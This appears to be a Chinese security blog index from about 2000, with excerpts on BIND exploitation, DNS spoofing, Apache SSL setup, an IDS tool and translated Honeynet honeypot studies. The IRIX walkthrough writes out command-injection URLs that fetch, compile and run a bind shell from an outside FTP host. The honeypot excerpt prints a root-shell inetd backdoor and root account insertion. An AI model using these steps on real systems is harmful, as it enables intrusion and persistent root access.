Posts for: #Security

分析某台机器上发现的工具包

(quack_at_xfocus.org)

分析某台机器上发现的工具包

by quack([email protected])

前些日子测试那个bind的漏洞,顺便就帮一哥们检测了一下他的主机――红帽子

6.0的机器,一不小心居然又进去了――!@#$%^%,真是搞不懂为什么现在漏洞资

料已是满天飞的情况下,网上怎么还有这么多“公鸡”。

依照习惯,先w看看有谁在:

w

嘿,好象就我一个人呀,看看有什么进程在跑吧……

ps -aux

cracker$ ps -aux

USER     PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND

ronin    418  0.0  0.9   420  240  p0  R+    7:15PM   0:00.01 ps -aux

root       1  0.0  0.9   520  264  ??  Is    5:00PM   0:00.03 /sbin/init –

root       2  0.0  0.0     0    0  ??  DL    5:00PM   0:00.01  (pagedaemon)

root       3  0.0  0.0     0    0  ??  DL    5:00PM   0:00.00  (vmdaemon)

[阅读全文]

用SSL构建一个安全的Apache

(quack_at_xfocus.org)

用SSL构建一个安全的Apache

by quack

参考资料:Installing and Securing the Apache Webserver with SSL

一、简介

这篇文章要说明的是如何将阿帕奇与SSL(Secure Socket Layer)结合起来安装

配置。众所周知,在网络上以明文传递敏感信息是相当不安全的,因此SSL提供

了一种加密手段,在底层上为上层协议提供服务和加密方案,因此当用户在以

HTTP协议传输数据时,窥探者将难以获取数据的信息。当然加密只是在传输过程

中的,对用户是完全透明的。                                    ^^^^^^^^

那么就开始吧……

二、准备工作

如果你的系统是从头装起的话,建议你留出一个叫/chroot的分区用来运行Apache。

至于这个分区的大小,取决于你自已,一般来说,一个普通的网站有40M也就够了。

但你的系统如果早就运行了Apache,你可以另外开辟一个分区,或者选择不用独立

分区来安装,仅仅在根下面开一个目录。

另外我假定你的系统已经通过了一定的安全检测――在安装Apache之前(如果有其它

漏洞存在的话,你认为运行在其上的Apache会怎样,所谓覆巢之下,焉有完卵:),检

测至少要包括(但不仅限于)――移除不安全的SUID程序、升级某些守护进程,去掉不

必要的服务。还假定你是的WEB SERVER是运行TCP/IP而且有自己的地址。

三、平台

以下测试都在下列平台下通过:

1、Slackware 4.x distribution using gcc 2.7.2.3 and Perl v5.005_02

2、Solaris 7 on Sparc using gcc v2.8.1 and Perl v5.005_03

四、获取所需要的软件

因为阿帕奇并没有在她的包里自己SSL,因此我们必须先下载到这些加密网页所必需的

部份:

1、Apache Web Server - http://www.apache.org/dist/

不必多说,我们当然需要获得这个web server,现在的版本是1.3.11,阿帕奇是现在世界

上使用最广泛的web server。

2、mod_ssl - http://www.modssl.org

这是一个为Apache1.3.x web server提供强力加密的的软件模块,它使用的是SSL v2和v3

[阅读全文]

了解你的敌人:蠕虫战

本文是 Honeynet Project 的"了解你的敌人:蠕虫战"系列文章的中文翻译,原文发布于 project.honeynet.org,中文翻译来自 xfocus.net。

这文章纯粹是在好奇的情况下产生的,我们的Honeynet的UDP端口137和TCP端口139被多次扫描,我们的网络中这种端口一天内居然被扫描5-10次,怀疑有一定原因。为了了解这些扫描的动机,我们设置了WIN98的honeypot,因为基于这些端口的系统一般上WIN系统,并做在那里等攻击者的操作,我们没有等很长时间,就有了这篇Know you Enemy系列的后续。

 

Windows上的honeypot

在一个月的时间内(2000/9/20-2000/10/20)我们确认在我们的网络"honeypot"遭受过524个基于NetBIOS扫描。这些扫描是基于UDP137端口(NetBIOS命名服务)的探测,有时伴随着基于TCP139端口(NetBIOS会话服务)。所有这些表明存在大量的针对特殊服务的扫描活动,某些事情正在发生,我们决定发现出了什么事。

我们的网络并没有在Internet做什么广告或者宣传,仅仅是放在那里。所有迹象表明这些我们接受到的扫描仅仅是随机扫描。但同样会威胁到你的系统的安全,由于这些扫描主要针对Windows系统,有可能主要瞄准通过DSL或Cable连接的普通家庭用户。我们不讨论间谍或主页被黑,我们在这里仅讨论一般家庭用户作为被攻击的对象。我们对这一切感到好奇:谁正在作这样的扫描?他们的意图是什么?为什么存在大量的这种扫描?协同探测的结果?是蠕虫吗?带着很多问题,我们决定去发现结果并放置了我们的Windows"honeypot",我们缺省安装了一台Windows98并且使c:盘共享,尽管一台Windows98 “honeypot"听起来并没有多大的诱惑力,但是仍然可以通过建立这样的系统来获得我们所想知道的。

  • 在Internet上有大量的Windows98系统,而且这个数量还在快速增长。作为具有代表性的系统,该系统存在大量的安全漏洞。但是作为家庭用户并没有认识到连接到Internet的风险性,他们中的大多数还是专注地连接Internet。

  • 这是我们的第一个基于Microsoft的"honeypot”,该计划也非常简单并且希望学到一些东西。

在2000/10/31日,系统安装好,共享打开,并且连接到Internet,我们开始等待,等待时间是如此漫长。

第一条蠕虫

至少24小时后我们接待了我们的第一位访客。IP为216.191.92.10的系统(host-010.hsf.on.ca)扫描了我们的网络搜寻Windows系统,他发现了我们的"honeypot"并且开始查询它。一开始他尝试获得系统名并确定共享是否打开。一旦他发现共享打开,开始在我们的系统上探测某种二进制文件。他的目标是确定在我们的"honeypot"上是否安装了某种蠕虫,如果没有,就会安装它。在这里,这种蠕虫并没有被安装,这个蠕虫被确定为"Win32.Bymer Worm"。此蠕虫的目的在于利用占领的主机的CPU资源来帮助某人赢得distributed.net竞赛,distributed.net是一个提供利用分布式计算机空闲资源进行各种挑战(如 crack RC5-64)奖项的组织。如果赢得挑战将获得一些奖金,在这里,我们的访客通过安装蠕虫把我们当成"志愿军"来参加这个项目。

某个人([email protected]),制作了这个可复制的蠕虫,它可以在不被怀疑的有漏洞的Windows系统上安装distributed.net客户端。一旦被安装且被执行,蠕虫就可以利用你的系统CPU资源帮助安装的人赢得奖金。期间蠕虫也会探测别的可能被入侵的系统,它的目标是获取更多的CPU资源,处理速度会随着入侵系统的增多而呈指数增长。让我们来看一下通过网络捕获的数据包(在这里我们使用snort)。为了更方便的分析NetBIOS协议,你需要一些协议分析器如Ethereal。这个过程通过sniffer追踪如下,IP为172.16.1.105的是我们"honeypot"的地址。

在一开始的时候,蠕虫在我们的系统上检查dnetc.ini,这是distributed.net客户端的标准配置文件,该配置文件告诉主服务器谁的CPU资源引该被信任。在这里我们通过跟踪远程系统(NetBIOS名称GHUNT,帐号GHUNT,域名HSFOPROV)的记录发现他拷贝这个文件到我们"honeypot"中。

11/01-15:29:18.580895 216.191.92.10:2900 -> 172.16.1.105:139

TCP TTL:112 TOS:0x0 ID:50235  DF

PA Seq: 0x12930C6   Ack: 0x66B7068   Win: 0x2185

00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00  …[.SMB-…….

00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C  …………..W.

[阅读全文]

bind8.2-8.2.2漏洞利用HOWTO

quack (quack_at_xfocus.org)

bind8.2-8.2.2漏洞利用HOWTO

by quack

参考资料:NXT-Howto—by E-Mind

Section A - 何谓DNS?


     1. 怎样查询一个DNS?

        

         首先,你或许知道如果你配置好TCP/IP后希望能通过你的浏览器直接键入主机名

         就能找到一个网站,而不必每次都键入复杂难记的IP地址的话,你还需要配置

         DNS服务器,你可以从你的ISP那里得到DNS服务器的地址。UNIX系统提供了一个

         叫nslookup的实用工具来对DNS进行查询,它的语法如下:

         $nslookup

         或者

         $nslookup

        

         配置DNS需要两个关于域的列表――zone文件,一个zone文件用来将域名解析为IP,

         另一个则将IP解析为域名,nslookup则是两者交互的工具,简单地在shell下键入

         nslookup并回车,你会得到一个>提示符,然后我们就可以输入IP地址或者域名了。

         关于nslookup的其它命令在后面我们会再陆续提到……

        

      2. 如何发现DNS的漏洞?

         记住我们是在寻找可利用的nameserver。

         首先我们必须找出运行在远程机器上DNS服务器的版本号,而且最好还要找出它

         的操作系统――现在已经有很多关于这些的讨论。我们将使用一个在大多数UNIX

         系统中都能使用的实用工具dig来做这件事,它的语法是:

         $dig @<victim_ip> version.bind chaos txt | grep "8

        

         然后查看输出,如果你看到的是8.2或者8.2.1或8.2.2,那么它存在漏洞,如果是

         8.2.2P2 - P5则是安全的。

  

         如果你无法从你的终端中得到任何输出,则可能是DNS管理员修改过源代码,限制

         了这一信息的输出,当然它也有可能是存在漏洞的。

        

Section B - 如何编辑DNS?


   DNS的配置文件都是些文本,所以你要更改或者添加入口只需要编辑该文件并重启服务就

   行了,这个文件是/etc/named.conf或者/etc/named.boot,如果/etc/named.conf存在,

   那么它就是你的目标了……

  

      1. 怎样找到域文件?

         这是很简单的工作――你需要编辑zone文件来改变或者添加一个通往该域的入

         口,比如说――infoseek.com吧,主机名是www,所以正式域名(FQDN)就是

         www.infoseek.com(FQDN=Fully Qualified Domain Name),要找到该zone文件

         我们首先要向DNS服务器进行查询,具体如下:

        

         $nslookup

         Default Server:  xxxxxx.xxxxxxx.xx.xx

         Address:  xxx.xx.xx.xx

         >set q=ns

         >infoseek.com

         >infoseek.com      nameserver = NS-UU.infoseek.com

[阅读全文]

几个DNS问题

quack (quack_at_xfocus.org)

几个DNS问题

by xxbin

现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本

主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,

就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的

存在.

1>.DNS欺骗

在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,

DNS服务器将会直接返回缓存中的记录.

下面我们来看一个例子:

一台运行着unix的Internet主机,并且提供rlogin服务,它的IP地址为123.45.67.89,

它使用的DNS服务器(即/etc/resolv.conf中指向的DNS服务器)的IP地址为98.76.54.32,

某个客户端(IP地址为38.222.74.2)试图连接到unix主机的rlogin端口,假设unix主机的

/etc/hosts.equiv文件中使用的是dns名称来允许目标主机的访问,那么unix主机会向

IP为98.76.54.32的DNS服务器发出一个PTR记录的查询:

123.45.67.89 -> 98.76.54.32 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: 2.74.222.38.in-addr.arpa PTR

IP为98.76.54.32的DNS服务器中没有这个反向查询域的信息,经过一番查询,这个DNS

服务器找到38.222.74.2和38.222.74.10为74.222.38.in-addr.arpa.的权威DNS服务器,

所以它会向38.222.74.2发出PTR查询:

98.76.54.32 -> 38.222.74.2 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: 2.74.222.38.in-addr.arpa PTR

请注意,38.222.74.2是我们的客户端IP,也就是说这台机子是完全掌握在我们手中的.

我们可以更改它的DNS记录,让它返回我们所需要的结果:

38.222.74.2 -> 98.76.54.32 [Answer]

NQY: 1 NAN: 2 NNS: 2 NAD: 2

QY: 2.74.222.38.in-addr.arpa PTR

AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com

[阅读全文]

一次尝试IRIX的过程(nobody shell)

(quack_at_xfocus.org)

一次尝试IRIX的过程(nobody shell)

  

by quack[email protected]

http://www.xfocus.org  安全焦点

  

   有个家伙跟我说过某个站点是IRIX,有个infosrch的cgi漏洞,OK,假定该站为www.targe.co.jp吧

1、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=|ls%20-la

   这就是它的利用方法了。其中ls -la是我们要运行的命令,我不太习惯在web shell里面干活,还

   是要弄出一个shell有个$来得方便些,于是就用ftp。

2、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=echo%20open%20www.xfocus.org>/tmp/a

   ……

   ……

   上面这些其实就是把这一段东西输进/tmp/a中:

   open www.xfocus.org           <———别当真,这里没有这个东西;)

   user quack quack              <———我的用户名密码

   binary

   cd /home/quack

   lcd /tmp

   prompt

   get bindshell.c               <———这是一个绑定shell的东西,网上到处有

   bye

  

   http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=|nohup%20ftp%20-ivn%20</tmp/a

   这里呢,就是在运行ftp取回东西了;)这么拿文件的话在xferlog里不会有记录。

   http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=|/usr/local/bin/gcc%20/tmp/bindshell.c%20-o%20/tmp/abc

   编译

   http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db;=man&fname;=|/tmp/abc

   运行……

3、现在我们可以telnet上去了

    bash# telnet ...  12345

    Trying ...…

    Connected to ....

    Escape character is ‘^]’.

    sh -i;

    $ id;

    uid=60001(nobody) gid=60001(nobody)

    $

4、利用IRIX的inpview漏洞,该漏洞的描述如下:

   某些版本IRIX下的inpview会在/var/tmp/目录下不安全地建立临时文件,这些临时文

   件名并不随机,用户可以建立一个符号链接到其他文件,利用inpview的

   setuid-to-root权限覆盖其他文件,同时对应文件权限被更改成0666。

   漏洞利用程序就不贴了,大家自己看看,很简单的,总之编译完成之后。

   $ ./a.out /etc/passwd;

   copyright LAST STAGE OF DELIRIUM jan 2000 poland  //lsd-pl.net/

[阅读全文]

入侵检测工具Watcher

文章提交:quack (quack_at_xfocus.org)

入侵检测工具Watcher

===================

by quack  [email protected]

参考资料 Watcher by hyperion [email protected] in pharck

一、写在前面

你如何了解系统是否被攻克?在你发现系统中多了些奇怪的帐号或者某些特洛伊程序时,

一切已经太迟了。除非你的机器非常强大,否则你的机会只存在于当你在机器被扫描后、

而攻击发生前的短暂的时间段里。当然你可以用类似于tcp wrappers的程序来保证系统

连接的安全,但它并不能监测到stealth扫描或者DOS攻击,你也可以购买商业版本的入

侵监测系统――只要你不嫌贵的话,其实性价比最高的就是从互联网上获取类似的免费

的软件,安装或者改造它以适应你的需求,watcher就是这么一个家伙。

二、功能

watcher检测所有通过的信息包,并且将它认为是恶意的攻击行为记录在syslog中,当前

的watcher能够检测下列的攻击行为:

    - 所有的TCP扫描

    - 所有的UDP扫描

    - Synflood攻击

    - Teardrop攻击

    - Land攻击

    - Smurf攻击

    - Ping of death攻击

所有的参数以及配置都是在命令行给出的,你可以配置它仅仅监视扫描行为或者仅仅监

视DOS攻击。它的监测行为是这样的:如果在短时间内有超过7个以上的端口收到信息包

(不管类型如何),那么这一事件就被当成端口扫描记录下来。UDP扫描认定的原理也一

样。当watcher在同一端口收到超过8个的syn包没有带ack或者fin位的话,就会认定是

synflood攻击事件。如果UDP的碎片包――IP包的id号是242,它就认为是teardrop攻击,

因为发布的攻击代码使用的是242的id号――这点存在不足;(。对同一端口的大量TCP

SYN包,带源地址及目标地址的,将被认为是land攻击,如果有超过5个icmp echo replies

在很短时间内出现(时间可以自定义),将记录为smurf攻击……

Watcher有三种监测模式,在默认的模式下,它仅仅监测对本台主机的攻击行为,第二种

模式可以监测在C类子网内的所有主机,第三种模式则可以监测所有能接收到信息包的主

机。当你把watcher放在外部主机上时,监测多主机特别有效,当一台主机的log文件被

破坏时,其它主机上还有记录。

由于watcher把所有的信息包都当成“攻击”,然后再进行分析,这种判断是极为粗糙的,

可能会误判,所以在代码中作者加入了一些过滤的技巧。

比如一些web server上会有漂亮的gif图片或者flash等玩意儿,而客户端这时往往会开了

多个线程来下载它,这时watcher的规则就会认为这是一次tcp scan,所以作者只好加上了

只有超过40个tcp连接才记录下的的规则――这些都是可定制的。就不详述了,你可以自行

参看下面的代码。

它的输出是非常简单的,每隔10秒它就将可能的攻击行为记录在syslog当中,同时源IP以及

目标IP甚至相关的信息比如端口号,包的数量等等也将被记录下来,如果该攻击行为的IP是

假的,那么它同时将记下MAC地址――如果攻击来自外部,地址将是你本地接收到该包的route

的地址,如果攻击来自内部的话,呵,你可以用自己的方式来"感谢"攻击者;)

三、程序参数

Watcher是用于linux系统的,通常你只需要在命令行后台运行它就可以了,它的参数如下:

Usage: watcher [参数]

[阅读全文]

了解你的敌人

本文是 Honeynet Project 的"了解你的敌人"系列文章的中文翻译,原文发布于 project.honeynet.org,中文翻译来自 xfocus.net。

我的长官经常对我说:在敌人面前好很好的保护自己,你必须先了解敌人先。(孙子兵法:知己知彼,百战百胜)。这句军事用语现在也很好的应用于网络安全领域中了,就象作战一样,你要保护自己的资源,你需要知道谁是你最大的威胁和他们会怎样攻击。在这个系列中的第一篇文章,就是讨论一种很流行很广泛的来自Scritp Kiddie所使用的工具和方法,如果你或者你的组织有任何资源连接到Internet上,你就有此类的威胁。

Know Your Enemy文章主要是涉及到blackhatck团体使用的工具,策略和动机。而Know Your Enemy:II主要集中于你怎样能探测这些威胁,判断他们所使用的工具和他们在你系统上寻找什么样的漏洞。Know Your Enemy:III集中讨论攻击者获得ROOT后在系统上怎样操作,特别是他们是如何掩盖他们的踪迹和他们下一步主要干什么。Know Your Enemy: Forensics 涉及了你怎样分析一种攻击。Know Your Enemy: Motives 通过捕获black-hat团体之间的通信和联系来分析他们的动机和心理状态。Know Your Enemy: Worms at War 描述了WORM蠕虫是怎样自动攻击WINDOW系统的。

**什么叫Script Kiddie **

Script kiddie是一些专门找寻一些容易下手资源的人,他们不专门针对某种特定信息或者目标特定公司,他们的目标是尽可能的用最简单的方法获得ROOT,他们通过搜集一些公开的exploit信息并搜索整个Internet来找寻有这种exploit漏洞的资源,这样,不管怎样,总有某些人会被他们操作。

其中一些高级点的家伙会开发他们自己的工具,并留下一些复杂的后门,另外一些根本就不知道他们做什么,就知道怎样在命令行打"go"的人。忽略他们的技术水平不说,Script kiddie就是共享一些公共策略,随机搜索某个特殊漏洞并利用这个特殊漏洞的人。

** 他们形成的威胁在哪里?**

由于Script kiddie是随机选择目标,所以存在的威胁是你的系统迟早会被扫描到,我知道管理员很惊讶他们的系统在设置以后没几天也没有告诉任何人的时候就被扫描到了,其实这一点也不值得惊讶,因为Scritp kiddie一般是扫描一段网络来操作的。

如果扫描只能限制在几个独立的资源,你可能会很安心,因为Internet上千千万万的机器,扫描到你的机器的几率少之又少。但是,事实不是你想象的这样,目前多数工具能很方面的使用大范围扫描并广泛传播,任何人可以使用他们,使用这些工具的人数增长率呈现惊人的速率。Internet是一个无国界的区域,这种威胁就很快转播到世界各个地方,有这么多人使用这些工具,你被探测就不是问题了。

试图以含糊其词来搪塞你的安全问题会害了你:你或许会认为没有人知道你的系统,你就会安全,或者你认为你的系统没有价值,他们为何要探测你,其实这些系统正是scritp kiddies搜寻的目标–没有任何保护的系统,非常容易得手的系统。

** 具体方法讨论**

Scritp kiddie的方法很简单,扫描Internet有特定缺陷的系统,一但查找到,便对它下手,他们用的许多工具会自动操作,不需要很多的交互。你只要打开工具,然后过几天回来看看你的结果就可以了。没有两个工具是相同的就象没有两个漏洞是一样的,但是虽然如此,许多工具的策略是一样的,第一,开发要扫描的IP段,然后扫描这些IP段中特定的漏洞。

例如:我们假定一个用户有一个工具可以利用Linux系统上的imap漏洞,如imapd_exploit.c,开始,他们开发一IP数据库来扫描,一旦IP数据库构建好,用户会想判断系统是否运行LINUX系统。目前许多扫描器可以通过发送不正常的信息包到目标系统并查看他们如果响应便可很方便的判断操作系统,如Fyodor的nmap,然后,工具会判断LINUX系统是否运行着imap服务,最后就是利用imapd_exploit.c程序来进入系统了。

你会想所以这些扫描会有很大的动静,很容易引起注意,但是,很多人没有很好的监视他们的系统,并不认识到他们正被扫描,而且,许多script kiddies在查看他们所要利用的系统时也会保持相当的安静,一旦他们利用这个漏洞进入系统,他们就会使用这个系统作为跳板,并不带任何包袱的扫描整个系统,因为如果这种扫描被抓获,责任是系统管理员而不是那些script-kiddie.

所有这些扫描的结果经常被用来归档或者在其他用户中共享,以便在以后的日子里使用,如用户在最初为了某个漏洞扫描出来的LINUX系统开了那些端口的数据库后,过一点时间,一个新的漏洞被发现以后,用户可以不用重新构建或者扫描新的IP段,他可以很方便的来查看以前归档的数据库并来利用这个新发现的漏洞。其他变相的,用户可以交流或者买卖有漏洞系统的数据库。你可以看Know Your Enemy: Motives文章中的例子,这样造成scritp kiddie可以不扫描系统而破坏你的资源。

有些Black-hats会采用木马或者后门来种植在破坏的系统中,后门允许方便的随时的让攻击者来访问你的系统,而木马使入侵者难于被发现,这些技术可以让他们的操作不显示在任何LOG记录,系统进程或者文件结构上,他可以构建一个舒适安全的环境来扫描Internet,跟详细的信息请看:Know Your Enemy: III。

这些攻击没有限制在一天中的任何时间,许多管理员搜索他们的LOG记录来查询当晚发生了什么,并相信这是攻击者的攻击时间,其实script kiddies在任意时间进行攻击,他们一天24小时的进行扫描,你根本不能考虑到你什么时候会被探测到。而且由于Internet的无边界性,时间也就不确定了,攻击者当地在午夜在攻击,而你这里可能是在当地时间下午一点种。 以上对系统漏洞的扫描可以用于多种用途,近来,一种新的拒绝服务攻击–分布式拒绝服务攻击DDoS,就是攻击者一个人控制了很多台有漏洞的系统,他可以遥控这些控制的系统来共同对目标系统执行拒绝服务攻击。由于多个系统被使用,所以防卫和判断源攻击地也变的非常困难。要控制多个系统,Script kiddie的策略就变的很有用,有漏洞的系统随机被判断并用来作为DDOS的垫板,越多的系统被控制,DDOS攻击的强度就越大。如stacheldraht,要了解关于更多的分布式拒绝服务攻击和怎样保护自己,请查看Paul Ferguson站上的Denialinfo。

工具

这些工具一般使用起来很见大,许多工具一般只是几个选项来完成单个目标,开始工具用来构建IP数据库,这些工具很随机的扫描Internet,如一个工具有一个单一的选项,A,B和C,你可以选择一个字母来决定要扫描的网络大小,这工具然后就选择A,B,C相应的IP网络进行扫描。另一个工具使用域名如z0ne,这个工具通过对域名和子域名的区域传输操作来构造IP数据库,用户通过扫描整个.com或者.edu域来获得2百万或者更多的IP数据库,一旦发现这些IP,它们就被会被工具用户判断版本名字,操作系统,所运行的服务,如果发现系统有漏洞,black-hat就会马上进行攻击。要更好的理解这些工具,请看Know Your Enemy: Forensics。

**怎样防止这类威胁 **

[阅读全文]

了解你的敌人:II

本文是 Honeynet Project 的"了解你的敌人:II"系列文章的中文翻译,原文发布于 project.honeynet.org,中文翻译来自 xfocus.net。

此文章是系列中的第二篇文章,在第一篇Know Your Enemy, 我们讲述了Script kiddie相关的工具和方法,特别是他们是怎样探测漏洞然后攻击的。在第三篇Know YourEnemy III中我们将会描述Script kiddie在获得ROOT的时候将会做的事情,特别是他们是怎样覆盖踪迹和他们下一步做的是什么。当前这文章,将涉及到有关则怎样跟踪他们的行为。我们会讲述到通过你的系统记录来判断你所需的操作,和你被扫描了以后,你需要了解被探测了以后主要被干什么用,他们使用了那些工具;这里的有些例子主要是基于LINUX操作系统,但是很容易移植到其他UNIX系统中,记住,没有绝对的方法能跟踪敌人的每一步,但是,这文章会是一个好的开始。

**加强系统LOG记录的安全性

**

这文章没有主要不是针对入侵检测进行讨论,关于IDS,internet上有很多优秀的源程序供你选择,如果你对入侵检测感兴趣,我建议你使用如Network Flight Recorder 和snort程序来尝试。此文主要集中在智力收集信息上,特别是,怎样通过查看你的系统记录来获取攻击者操作信息,可能你对你能在自己的LOG记录上能发现多少信息感到很惊讶,但是,在我们讲述查看你记录前,我们首先必须讨论下加强你的系统LOG安全性,如果你不能信任你系统记录的完整性那这些记录将会一文不值,多数black-aht在进入系统之后第一件事情就是怎样更改记录文件,网上非常多类型的Rootkit工具可以清楚记录文件中他们的留下的踪迹(如cloak),或者阻止所有系统的记录(如伪造过的syslogd),因此,要想查看系统记录,你必须保护好你的记录文件。

这意味着你需要使用远程的LOG服务器,先不管你有多少能力保护自己的系统,在一台被入侵的系统中你不能相信你的任何记录,即使你最好的保护被入侵系统的LOG记录,black-hat也可以简单的使用rm -fr /*来完全清理你的硬盘。要保护这些文件,你必须使你所有系统的LOG记录既有本地记录也发向远程LOG服务器中,这里建立你一个只记录LOG的服务器来收集其他服务器上的信息,如果牵涉到钱的问题,你可以简单使用Linux服务器来充当你的LOG服务器,不过这台服务器必须保证非常安全,需要所有服务关闭,只允许控制台访问(如Armoring Linux所描述),还有必须保证UDP 514口没有对外连接,这样可以保护你的LOG服务器不接受从外界来的不好的或者未认证的LOG信息。

由于上述原因,这里建议你重编译syslogd程序,并让syslogd读取不同的配置文件,如/var/tmp/.conf,此方法能让black-hat没有注意到真实的配置文件位置,这项操作你可以简单的在源代码中修改"/etc/syslog.conf"条目,接着我们可以设置我们新的配置文件把信息记录到本地和远程服务器,如syslog.txt。这里请你维持一标准的配置文件/etc/syslog.conf指向所有本地LOG,虽然这份配置文件没有用,但可以让攻击者相信记录没有发忘远程记录。另一个选择方法就是让你的系统使用更安全的日志记录工具,如使用某些有完整性检查和其他方面安全加强的系统日志记录工具,如syslog-ng。

把记录都记录到远程服务器中,将想上面提到的,我们可以基本上相信这些LOG的完整性,而且由于所有系统都记录在单一资源中,就比较容易的判断这些LOG的样式。我们可以在一台机器上记录所有系统记录,你所做的是对比下本地系统和远程系统的不一致性。

类型匹配

通过检查你的记录条目,你可以用来判断那些端口被扫描,许多Script kidde扫描整个网络只为一个漏洞,如你的记录显示你多数系统有来自同一远程系统的连接和同一端口,这就很可能以为着是一次漏洞的扫描,多数LINUX系统中,TCP Wrapper默认安装的,所以你可以在/var/log/secure里找到多数连接,在其他UNIX系统中,我们可以通过启动inetd后增加-t标志就可以记录所有Inetd连接。下面是一个典型的漏洞扫描,是为了扫描wu-ftpd漏洞:

/var/log/secure

Apr 10 13:43:48 mozart in.ftpd[6613]: connect from 192.168.11.200

Apr 10 13:43:51 bach in.ftpd[6613]: connect from 192.168.11.200

Apr 10 13:43:54 hadyen in.ftpd[6613]: connect from 192.168.11.200

Apr 10 13:43:57 vivaldi in.ftpd[6613]: connect from 192.168.11.200

Apr 10 13:43:58 brahms in.ftpd[6613]: connect from 192.168.11.200

[阅读全文]

了解你的敌人:动机

本文是 Honeynet Project 的"了解你的敌人:动机"系列文章的中文翻译,原文发布于 project.honeynet.org,中文翻译来自 xfocus.net。

该篇文章是系列之一,该系列主要介绍黑客社团使用的工具和策略。该文章不像该系列其他的文章主要介绍黑客社团怎样怎样、特别是他们使用的技术和工具的实现,而是分析他们的动机和心理。第一部分介绍一台Solaris 2.6系统被入侵,第二部分所提到的很少有相关信息发布,介绍在黑客入侵系统后14天内在“蜜罐”中的通话和行动记录,通过这些信息我们可以了解他们为什么和怎样攻击计算机系统。在入侵后,他们紧接着在系统中放置了一个IRC bot,这个东西是由黑客们所配置和实现的,用来抓取在IRC频道中的所有聊天记录。我们在这两个星期当中一直监视这些记录,所有的信息都罗列在下面。这篇文章并不是要对整个黑客社团的行为作一个概括,相反,我们通过在事件当中一些个体行为的介绍,来给大家一些提示”他们当中某些人怎样想和怎样做“,这也是我们在安全领域所面对的一些普通现象,我们真诚的希望其他安全人员能够从中受益。

下面的所有信息是通过"honeynet"得到的。“honeynet”,顾名思义,就是由网络上大量的"蜜罐"所组成,“蜜罐"最简单的定义就是通过精心设计的将被黑客社团所攻击的目标主机。一些"蜜罐"是用来分散攻击者攻击真正主机的注意力,另外一些是用来学习攻击者所使用的工具和策略的,我们这里所提到是属于后者。在本文中提到的很多信息被做了一些修改,特别是用户名和口令、信用卡号、以及很多主机名,其他如确切技术细节、工具以及聊天记录我们并没有作修改。所有信息在被发布之前都已经递交给CERT和FBI,同时对于哪些我们确信遭受入侵的系统,大约发了370份通告给它们的管理员。

Foreword, by Brad Powell

**第一部分:入侵 **

我们这里使用的"蜜罐"是缺省安装的Solaris 2.6系统,没有任何修改和安装补丁程序。在此讨论的漏洞在任何缺省安装没有使用补丁程序的Solaris 2.6系统上都存在。这也是整个"蜜罐"的设计意图,在系统上布置漏洞并学习它是如何被攻破的。在被攻击过程中,我们可以学习黑客社团所使用的工具和策略。同时"蜜罐"本身也被设计跟踪黑客的每一步行为。

在2000年6月4日,我们的缺省安装Solaris 2.6的"蜜罐"遭受到针对rpc.ttdbserv漏洞的攻击,该漏洞允许在ToolTalk 对象数据库服务上通过溢出远程执行代码(见CVE-1999-0003)。该漏洞在SANS组织的TOP 10上名列第三。我们使用基于sniffer的免费IDS系统Snort检测到该攻击的。

Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775

rpc.ttdbserv漏洞允许远程用户通过缓冲溢出攻击在目标系统上以root权限执行任意命令。下面是攻击者在攻击成功后,在系统上安装后门,具体如下所示:攻击者在’/tmp/bob’文件中加上ingreslock服务(在/etc/service预定义的,端口1524),然后以改文件作为配置文件重新启动inetd,这样/bin/sh被以root权限帮定在1524端口,给予了远程用户root存取权限。

/bin/ksh -c echo ‘ingreslock stream tcp nowait root /bin/sh sh -i’ »/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.

当黑客安装了后门,他紧接着连接到1524端口,作为root获得一个shell,并开始执行如下命令。他增加了两个系统用户帐号,以便以后可以telnet上来,注意这里的错误和”;“控制字符(因为1524端口的shell没有正确的环境)。

cp /etc/passwd /etc/.tp;

^Mcp /etc/shadow /etc/.ts;

echo “r:x:0:0:User:/:/sbin/sh”

/etc/passwd;

echo “re:x:500:1000:daemon:/:/sbin/sh”

/etc/passwd;

echo “r::10891::::::”

/etc/shadow;

echo “re::6445::::::”

[阅读全文]